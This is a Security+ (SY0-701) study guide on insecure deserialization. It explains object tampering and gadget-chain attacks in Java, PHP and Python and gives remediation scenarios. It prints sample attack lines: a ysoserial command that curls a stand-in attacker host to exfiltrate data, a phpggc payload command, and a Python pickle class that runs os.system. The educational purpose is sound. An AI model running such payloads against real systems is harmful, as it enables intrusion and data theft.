Insecure Deserialization Attacks

Serialization is the process of converting an object's state (its data and structure) into a format that can be easily stored or transmitted, such as a byte stream, JSON string, or XML document. Deserialization is the reverse process: reconstructing the object from that format. Insecure deserialization occurs when an application deserializes untrusted data without proper validation, allowing an attacker to control the object's properties or even execute arbitrary code.

The threat is not the serialized data itself, but the fact that many serialization formats can encode not just data but also instructions for object construction, including which class to instantiate and what methods to call. If an attacker can supply a malicious serialized object, they may be able to:

The SY0-701 exam expects you to recognize scenarios where deserialization is used (e.g., session tokens, cookies, HTTP parameters, database records) and identify the risk when user-supplied data is deserialized.

To understand the attack, consider a Java application that uses serialization to store user session data. The session object might contain fields like username, role, and isAdmin. When a user logs in, the server serializes this object and sends it as a cookie. On subsequent requests, the server deserializes the cookie to retrieve the user's identity.

Here is a simplified example of a vulnerable Java class:

public class User implements Serializable {
    private String username;
    private String role;
    private boolean isAdmin;
    // getters and setters
}

An attacker who intercepts the serialized cookie can modify the byte stream to change isAdmin from false to true. When the server deserializes the tampered data, it creates a User object with admin privileges. This is a simple example of object tampering.

More dangerous are attacks that exploit the deserialization process itself. In languages like Java, Python, PHP, and Ruby, serialization libraries often call special methods during deserialization (e.g., readObject() in Java, __reduce__() in Python, __wakeup() in PHP). Attackers can craft payloads that trigger these methods to execute arbitrary code.

For instance, a famous Java deserialization attack uses the ysoserial tool to generate payloads that exploit common libraries like Apache Commons Collections. The payload contains a chain of classes that, when deserialized, call Runtime.exec() to run a system command.

java -jar ysoserial-master.jar CommonsCollections1 'curl http://attacker.com/steal' > payload.bin

When the server deserializes payload.bin, it executes the curl command, exfiltrating data to the attacker.

Attackers follow these steps:

- ysoserial: A proof-of-concept tool for generating Java deserialization payloads.

java -jar ysoserial-master.jar CommonsCollections1 'command' > payload.ser

- PHPGGC: A PHP gadget chain generator.

phpggc Laravel/RCE1 system 'id' | base64

- Python pickle: Can be used to create malicious pickles.

import pickle
  class Exploit(object):
      def __reduce__(self):
          import os
          return (os.system, ('id',))
  malicious = pickle.dumps(Exploit())

For the exam, you won't need to write these commands, but you should recognize that they are used to generate payloads.

Scenario 1: Java Application Session Hijacking

A SOC analyst notices that multiple user accounts are being compromised with elevated privileges. Upon investigation, they find that the application uses Java serialization for session tokens stored in cookies. The analyst uses Burp Suite to decode a session cookie and sees it's a Base64-encoded Java serialized object. They decode it and see fields like username, role, and isAdmin. The analyst suspects tampering. They check the server logs and see that some requests have modified cookie values that, when decoded, show isAdmin=true for users who are not admins. The correct response is to implement integrity checks (e.g., HMAC) on the session cookie and switch to using encrypted JSON Web Tokens (JWTs) instead of Java serialization. A common mistake is to assume that Base64 encoding provides security—it does not, as it is easily reversible.

Scenario 2: PHP Deserialization RCE

A security engineer is performing a penetration test on a PHP application. They find that the application uses unserialize() on user-supplied data from a data parameter. They use phpggc to generate a payload for a known gadget chain in the Laravel framework. They send the payload in the data parameter and receive a reverse shell. The engineer reports the vulnerability. The correct remediation is to avoid deserializing untrusted data entirely or to use a whitelist of allowed classes. A common mistake is to try to filter blacklist certain classes, which is ineffective because attackers can find new gadget chains.

Scenario 3: Python Pickle in a Machine Learning Pipeline

A data science team uses Python pickle to serialize trained models for later use. An attacker gains access to the model storage and replaces a model file with a malicious pickle that executes code when loaded. The attacker's payload creates a backdoor. The SOC analyst detects unusual outbound traffic from the server after the model is loaded. The correct response is to use a safer serialization format like JSON or to implement signature verification for model files. A common mistake is to rely on file permissions alone, which can be bypassed if the attacker has write access.